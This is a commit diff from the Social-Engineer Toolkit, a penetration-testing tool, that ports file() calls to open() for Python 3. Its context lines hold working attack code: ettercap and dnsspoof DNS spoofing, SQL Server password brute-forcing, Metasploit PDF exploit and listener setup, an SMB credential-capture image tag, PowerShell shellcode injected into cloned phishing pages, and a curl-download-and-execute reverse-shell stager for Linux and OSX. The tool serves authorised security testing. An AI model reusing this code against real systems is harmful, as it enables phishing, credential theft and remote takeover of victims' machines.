pep8 and python3 refactoring stragglers

This commit is contained in:
TrustedSec 2016-01-14 17:12:00 -05:00
parent cefd5ffa2d
commit 7c227d5a4f
8 changed files with 62 additions and 63 deletions

View file

@ -13,7 +13,7 @@ from src.core.setcore import *
definepath = os.getcwd()
# grab config file
config = file("/etc/setoolkit/set.config", "r").readlines()
config = open("/etc/setoolkit/set.config", "r").readlines()
# grab our default directory
cwd = os.getcwd()
# set a variable as default to n or no
@ -37,7 +37,7 @@ for line in config:
ettercapchoice = 'n'
# GRAB CONFIG from SET
fileopen = file("/etc/setoolkit/set.config", "r").readlines()
fileopen = open("/etc/setoolkit/set.config", "r").readlines()
for line in fileopen:
# grab the ettercap interface
match = re.search("ETTERCAP_INTERFACE=", line)
@ -92,7 +92,7 @@ if ettercapchoice == 'y':
subprocess.Popen(
"rm etter.dns 1> /dev/null 2> /dev/null", shell=True).wait()
# prep etter.dns for writing
filewrite = file("etter.dns", "w")
filewrite = open("etter.dns", "w")
# send our information to etter.dns
filewrite.write("%s A %s" % (dns_spoof, ipaddr))
# close the file
@ -105,7 +105,7 @@ if ettercapchoice == 'y':
# spawn a child process
os.chdir(cwd)
time.sleep(5)
filewrite = file(setdir + "/ettercap", "w")
filewrite = open(setdir + "/ettercap", "w")
filewrite.write(
"ettercap -T -q -i %s -P dns_spoof %s %s // //" % (interface, arp, bridge))
filewrite.close()
@ -148,7 +148,7 @@ if dsniffchoice == 'y':
dns_spoof = "*"
subprocess.Popen(
"rm %s/dnsspoof.conf 1> /dev/null 2> /dev/null" % (setdir), shell=True).wait()
filewrite = file(setdir + "/dnsspoof.conf", "w")
filewrite = open(setdir + "/dnsspoof.conf", "w")
filewrite.write("%s %s" % (ipaddr, dns_spoof))
filewrite.close()
print_error("LAUNCHING DNSSPOOF DNS_SPOOF ATTACK!")
@ -160,7 +160,7 @@ if dsniffchoice == 'y':
gateway = subprocess.Popen("netstat -rn|grep %s|awk '{print $2}'| awk 'NR==2'" % (
interface), shell=True, stdout=subprocess.PIPE).communicate()[0]
# open file for writing
filewrite = file(setdir + "/ettercap", "w")
filewrite = open(setdir + "/ettercap", "w")
# write the arpspoof / dnsspoof commands to file
filewrite.write(
"arpspoof %s | dnsspoof -f %s/dnsspoof.conf" % (gateway, setdir))

View file

@ -118,7 +118,7 @@ try:
"Atta boy. Found the file this time. Moving on.")
break
fileopen = file(range, "r").readlines()
fileopen = open(range, "r").readlines()
sql_servers = ""
for line in fileopen:
line = line.rstrip()
@ -130,7 +130,7 @@ try:
counter = 0
# if we specified a username list
if os.path.isfile(username):
usernames = file(username, "r")
usernames = open(username, "r")
if sql_servers != False:
# get rid of extra data from port scanner
@ -221,7 +221,7 @@ try:
break
# specify we are using the fasttrack
# option, this disables some features
filewrite = file(
filewrite = open(
setdir + "/fasttrack.options", "w")
filewrite.write("none")
filewrite.close()
@ -397,7 +397,7 @@ try:
# if we are using the built in one
if dict == "":
# write out a file
filewrite = file(setdir + "/dictionary.txt", "w")
filewrite = open(setdir + "/dictionary.txt", "w")
filewrite.write("\nPassword1\nPassword!\nlc username")
# specify the path
dict = setdir + "/dictionary.txt"

View file

@ -22,7 +22,7 @@ print_info_spaces(
for name in glob.glob("modules/*.py"):
counter = counter + 1
fileopen = file(name, "r")
fileopen = open(name, "r")
for line in fileopen:
line = line.rstrip()

View file

@ -27,7 +27,7 @@ print(meta_path)
apache = 0
# open set_config
apache_check = file("/etc/setoolkit/set.config", "r").readlines()
apache_check = open("/etc/setoolkit/set.config", "r").readlines()
# loop this guy to search for the APACHE_SERVER config variable
for line in apache_check:
@ -184,7 +184,7 @@ if exploit_counter == 0:
if os.path.isfile(msfpath + "local/template.pdf"):
os.remove(msfpath + "local/template.pdf")
filewrite = file(setdir + "/template.rc", "w")
filewrite = open(setdir + "/template.rc", "w")
filewrite.write("use exploit/windows/fileformat/adobe_pdf_embedded_exe\nset LHOST %s\nset LPORT %s\nset INFILENAME %s\nset FILENAME %s\nexploit\n" %
(rhost, lport, inputpdf, output))
filewrite.close()
@ -228,7 +228,7 @@ if exploit_counter == 0:
(setdir, setdir), shell=True)
# NEED THIS TO PARSE DELIVERY OPTIONS TO SMTP MAILER
filewrite = file(setdir + "/payload.options", "w")
filewrite = open(setdir + "/payload.options", "w")
filewrite.write(payload + " " + rhost + " " + lport)
filewrite.close()
if exploit != "dll_hijacking":
@ -251,11 +251,11 @@ if exploit == "unc_embed":
letters = string.ascii_letters + string.digits
return ''.join([random.choice(letters) for _ in range(length)])
rand_gen = random_string()
filewrite = file(setdir + "/unc_config", "w")
filewrite = open(setdir + "/unc_config", "w")
filewrite.write("use server/capture/smb\n")
filewrite.write("exploit -j\r\n\r\n")
filewrite.close()
filewrite = file(setdir + "/template.doc", "w")
filewrite = open(setdir + "/template.doc", "w")
filewrite.write(
r'''<html><head></head><body><img src="file://\\%s\%s.jpeg">''' % (rhost, rand_gen))
filewrite.close()
@ -285,18 +285,17 @@ if exploit == "dll_hijacking":
# if we are not using apache
if apache == 0:
if not os.path.isfile("%s/fileformat.file" % (setdir)):
# try:
filewrite = file(setdir + "/attack_vector", "w")
filewrite = open(setdir + "/attack_vector", "w")
filewrite.write("hijacking")
filewrite.close()
filewrite = file(setdir + "/site.template", "w")
filewrite = open(setdir + "/site.template", "w")
filewrite.write("TEMPLATE=CUSTOM")
filewrite.close()
time.sleep(1)
subprocess.Popen("mkdir %s/web_clone;cp src/html/msf.exe %s/web_clone/x" % (
setdir, setdir), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
child = pexpect.spawn("python src/html/web_server.py")
# except: child.close()
# if we are using apache
if apache == 1:
subprocess.Popen("cp src/html/msf.exe %s/x.exe" %

View file

@ -34,7 +34,7 @@ if stage_encoding == "off":
else:
stage_encoding = "true"
configfile = file("/etc/setoolkit/set.config", "r").readlines()
configfile = open("/etc/setoolkit/set.config", "r").readlines()
# check the metasploit path
msf_path = meta_path()
@ -56,14 +56,14 @@ linosx = 0
multiattack = ""
# grab attack vector
if os.path.isfile(setdir + "/attack_vector"):
fileopen = file(setdir + "/attack_vector", "r")
fileopen = open(setdir + "/attack_vector", "r")
for line in fileopen:
line = line.rstrip()
if line == "java":
attack_vector = "java"
if line == "multiattack":
attack_vector = "multiattack"
multiattack = file(setdir + "/multi_payload", "w")
multiattack = open(setdir + "/multi_payload", "w")
# here is a place holder for the multi attack java
# multiattack outputs a file called multi_java if
@ -83,7 +83,7 @@ if os.path.isfile(setdir + "/payloadgen"):
##########################################################################
if check_options("IPADDR=") == False:
fileopen = file("/etc/setoolkit/set.config", "r")
fileopen = open("/etc/setoolkit/set.config", "r")
data = fileopen.read()
match = re.search("AUTO_DETECT=ON", data)
if match:
@ -121,7 +121,7 @@ try:
# this is port
choice3 = ""
if os.path.isfile(setdir + "/meterpreter_reverse_tcp_exe"):
fileopen = file(setdir + "/meterpreter_reverse_tcp_exe", "r")
fileopen = open(setdir + "/meterpreter_reverse_tcp_exe", "r")
for line in fileopen:
# this reads in the first line of the file which happens to be port
# when calling through core
@ -185,7 +185,7 @@ try:
encoder = 'false'
payloadgen = 'solo'
encode_stop = 1
filewrite = file(setdir + "/set.payload", "w")
filewrite = open(setdir + "/set.payload", "w")
# select setshell
if choice1 == '3':
filewrite.write("SETSHELL")
@ -223,7 +223,7 @@ try:
# if we are using our own executable
if custom == 1:
check_write = file(setdir + "/custom.exe", "w")
check_write = open(setdir + "/custom.exe", "w")
check_write.write("VALID")
check_write.close()
shutil.copyfile("%s" % (choice1), "msf.exe")
@ -237,11 +237,11 @@ try:
# we need to rewrite index.html real quick because it has a parameter
# that could get confusing
if os.path.isfile(setdir + "/web_clone/index.html"):
fileopen = file(setdir + "/web_clone/index.html", "r")
fileopen = open(setdir + "/web_clone/index.html", "r")
data = fileopen.read()
data = data.replace("freehugs", "")
os.remove(setdir + "/web_clone/index.html")
filewrite = file(setdir + "/web_clone/index.html", "w")
filewrite = open(setdir + "/web_clone/index.html", "w")
filewrite.write(data)
filewrite.close()
@ -280,7 +280,7 @@ try:
# if we are using the SET interactive shell then do this
if choice1 == "set/reverse_shell":
encoder = "false"
filewrite = file(setdir + "/set.payload.posix", "w")
filewrite = open(setdir + "/set.payload.posix", "w")
filewrite.write("true")
filewrite.close()
import src.core.payloadprep
@ -353,7 +353,7 @@ try:
os.remove(setdir + "/payload_options.shellcode")
# this is the file that gets saved with the payload and
# port options
payload_options = file(
payload_options = open(
setdir + "/payload_options.shellcode", "a")
while 1:
@ -391,7 +391,7 @@ try:
# here we prep our meta config to listen on all
# the ports we want - free hugs all around
filewrite = file(
filewrite = open(
"%s/meta_config_multipyinjector" % (setdir), "a")
port_check = check_ports(
"%s/meta_config_multipyinjector" % (setdir), shellcode_port)
@ -469,7 +469,7 @@ try:
secret, multipyinject_payload)
print_status(
"Dynamic cipher key created and embedded into payload.")
filewrite = file(
filewrite = open(
"%s/meterpreter.alpha_decoded" % (setdir), "w")
filewrite.write(shellcode)
filewrite.close()
@ -478,7 +478,7 @@ try:
# close the pyinjector file for ports and payload
payload_options.close()
# here we are going to encode the payload via base64
fileopen = file(
fileopen = open(
"%s/meterpreter.alpha_decoded" % (setdir), "r")
data = fileopen.read()
if payloadgen != "solo":
@ -505,7 +505,7 @@ try:
# last one
data = base64.b64encode(data)
#
filewrite = file("%s/meterpreter.alpha" % (setdir), "w")
filewrite = open("%s/meterpreter.alpha" % (setdir), "w")
filewrite.write(data)
filewrite.close()
if choice1 == "shellcode/alphanum":
@ -519,18 +519,18 @@ try:
# here we obfuscate the binary a little bit
random_string = generate_random_string(3, 3).upper()
if choice1 == "shellcode/alphanum":
fileopen = file(
fileopen = open(
"%s/src/payloads/exe/shellcodeexec.binary" % (definepath), "rb").read()
if choice1 == "shellcode/pyinject":
fileopen = file(
fileopen = open(
"%s/src/payloads/set_payloads/pyinjector.binary" % (definepath), "rb").read()
if choice1 == "shellcode/multipyinject":
fileopen = file(
fileopen = open(
"%s/src/payloads/set_payloads/multi_pyinjector.binary" % (definepath), "rb").read()
# write out the payload
if choice1 == "shellcode/alphanum" or choice1 == "shellcode/pyinject" or choice1 == "shellcode/multipyiject":
filewrite = file(setdir + "/msf.exe", "wb")
filewrite = open(setdir + "/msf.exe", "wb")
filewrite.write(fileopen)
filewrite.close()
@ -539,11 +539,11 @@ try:
# we need to read in the old index.html file because its
# already generated, need to present the alphanum to it
if os.path.isfile("%s/web_clone/index.html" % (setdir)):
fileopen = file("%s/web_clone/index.html" %
fileopen = open("%s/web_clone/index.html" %
(setdir), "r")
filewrite = file(
filewrite = open(
"%s/web_clone/index.html.new" % (setdir), "w")
fileopen2 = file("%s/meterpreter.alpha" %
fileopen2 = open("%s/meterpreter.alpha" %
(setdir), "r")
alpha_shellcode = fileopen2.read().rstrip()
data = fileopen.read()
@ -580,7 +580,7 @@ try:
choice1 = choice9
# write out the payload for powershell injection to pick it up if used
filewrite = file(setdir + "/metasploit.payload", "w")
filewrite = open(setdir + "/metasploit.payload", "w")
filewrite.write(choice1)
filewrite.close()
# import if on
@ -599,13 +599,13 @@ try:
except:
import src.payloads.powershell.prep
if os.path.isfile("%s/x86.powershell" % (setdir)):
fileopen1 = file(
fileopen1 = open(
"%s/x86.powershell" % (setdir), "r")
x86 = fileopen1.read()
# open up the x86 powershell attack
fileopen3 = fileopen = file(
fileopen3 = fileopen = open(
"%s/web_clone/index.html" % (setdir), "r")
filewrite = file(
filewrite = open(
"%s/web_clone/index.html.new" % (setdir), "w")
data = fileopen3.read()
data = data.replace(
@ -628,9 +628,9 @@ try:
# here we specify the binary to deploy if we are using ones that are
# required to drop binaries
if custom == 1 or choice1 == "set/reverse_shell" or choice1 == "shellcode/alphanum":
fileopen3 = fileopen = file(
fileopen3 = fileopen = open(
"%s/web_clone/index.html" % (setdir), "r")
filewrite = file("%s/web_clone/index.html.new" % (setdir), "w")
filewrite = open("%s/web_clone/index.html.new" % (setdir), "w")
data = fileopen3.read()
# check if we don't want to deploy binaries
data = data.replace('param name="8" value="NO"',
@ -727,11 +727,11 @@ try:
# if they want a listener, start here
if os.path.isfile("%s/meta_config" % (setdir)):
# if its already created
filewrite = file("%s/meta_config" % (setdir), "a")
filewrite = open("%s/meta_config" % (setdir), "a")
if not os.path.isfile("%s/meta_config" % (setdir)):
# if we need to create it
filewrite = file("%s/meta_config" % (setdir), "w")
filewrite = open("%s/meta_config" % (setdir), "w")
# if there isn't a multiattack metasploit, setup handler
if not os.path.isfile("%s/multi_meta" % (setdir)):
@ -754,7 +754,7 @@ try:
# config option for using multiscript meterpreter
if meterpreter_multi == "ON":
multiwrite = file(setdir + "/multi_meter.file", "w")
multiwrite = open(setdir + "/multi_meter.file", "w")
multiwrite.write(meterpreter_multi_command)
filewrite.write(
"set InitialAutorunScript multiscript -rc %s/multi_meter.file\n" % (setdir))
@ -786,7 +786,7 @@ try:
filewrite.write("set LHOST " + choice2 + "\n")
filewrite.write("set LPORT " + port2 + "\n")
if linux_meterpreter_multi == "ON":
multiwrite = file(
multiwrite = open(
setdir + "/lin_multi_meter.file", "w")
multiwrite.write(linux_meterpreter_multi_command)
filewrite.write(
@ -810,7 +810,7 @@ except KeyboardInterrupt:
if attack_vector == "multiattack":
multiattack.close()
if os.path.isfile("%s/fileformat.file" % (setdir)):
filewrite = file("%s/payload.options" % (setdir), "w")
filewrite = open("%s/payload.options" % (setdir), "w")
filewrite.write(choice1 + " " + ipaddr + " " + choice3)
filewrite.close()

View file

@ -18,7 +18,7 @@ def payload_generate(payload, lhost, port):
subprocess.Popen(meta_path + "msfvenom -p %s LHOST=%s LPORT=%s --format=exe > %s/payload.exe" %
(payload, lhost, port, setdir), stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=True).wait()
# write out the rc file
filewrite = file(setdir + "/meta_config", "w")
filewrite = open(setdir + "/meta_config", "w")
filewrite.write(
"use multi/handler\nset payload %s\nset LHOST %s\nset LPORT %s\nset ExitOnSession false\nexploit -j\r\n\r\n" % (payload, lhost, port))
filewrite.close()

View file

@ -17,7 +17,7 @@ sys.path.append(definepath)
operating_system = check_os()
# check the config file
fileopen = file("/etc/setoolkit/set.config", "r")
fileopen = open("/etc/setoolkit/set.config", "r")
for line in fileopen:
line = line.rstrip()
# define if we use upx encoding or not
@ -48,7 +48,7 @@ if not os.path.isdir(setdir + "/web_clone/"):
# grab ip address and SET web server interface
if os.path.isfile(setdir + "/interface"):
fileopen = file(setdir + "interface", "r")
fileopen = open(setdir + "interface", "r")
for line in fileopen:
ipaddr = line.rstrip()
@ -95,7 +95,7 @@ webserver = exe_name + " " + webserver
# this is generated through payloadgen.py and lets SET know if its a RATTE
# payload or SET payload
if os.path.isfile(setdir + "/set.payload"):
fileopen = file(setdir + "/set.payload", "r")
fileopen = open(setdir + "/set.payload", "r")
for line in fileopen:
payload_selection = line.rstrip()
else:
@ -133,7 +133,7 @@ if payload_selection == "SETSHELL":
# if we selected RATTE in our payload selection
if payload_selection == "RATTE":
fileopen = file("src/payloads/ratte/ratte.binary", "rb")
fileopen = open("src/payloads/ratte/ratte.binary", "rb")
data = fileopen.read()
filewrite = open(setdir + "/msf.exe", "wb")
host = int(len(ipaddr) + 1) * "X"
@ -167,7 +167,7 @@ if payload_selection == "SETSHELL":
if posix == True:
print_info(
"Targetting of OSX/Linux (POSIX-based) as well. Prepping posix payload...")
filewrite = file(setdir + "/web_clone/mac.bin", "w")
filewrite = open(setdir + "/web_clone/mac.bin", "w")
payload_flags = webserver.split(" ")
# grab osx binary name
osx_name = generate_random_string(10, 10)
@ -255,7 +255,7 @@ if posix == True:
linux_name = generate_random_string(10, 10)
downloader = "#!/usr/bin/sh\ncurl -C - -O http://%s/%s\nchmod +x %s\n./%s %s %s &" % (
payload_flags[1], linux_name, linux_name, linux_name, payload_flags[1], payload_flags[2])
filewrite = file(setdir + "/web_clone/nix.bin", "w")
filewrite = open(setdir + "/web_clone/nix.bin", "w")
filewrite.write(downloader)
filewrite.close()
shutil.copyfile(definepath + "/src/payloads/set_payloads/shell.osx",
@ -280,8 +280,8 @@ if stager == "off" or payload_selection == "SETSHELL_HTTP":
if os.path.isfile(setdir + "/web_clone/index.html"):
print_status(
"Stager turned off, prepping direct download payload...")
fileopen = file(setdir + "/web_clone/index.html", "r")
filewrite = file(setdir + "/web_clone/index.html.3", "w")
fileopen = open(setdir + "/web_clone/index.html", "r")
filewrite = open(setdir + "/web_clone/index.html.3", "w")
data = fileopen.read()
# replace freehugs with ip and port
data = data.replace("freehugs", reverse_connection)

View file

@ -15,7 +15,7 @@ subprocess.Popen("mkdir CA;cd CA;mkdir newcerts private", shell=True).wait()
os.chdir("CA/")
# create necessary files
subprocess.Popen("echo '01' > serial;touch index.txt", shell=True).wait()
filewrite = file("openssl.cnf", "w")
filewrite = open("openssl.cnf", "w")
filewrite.write("""#
# OpenSSL configuration file.
#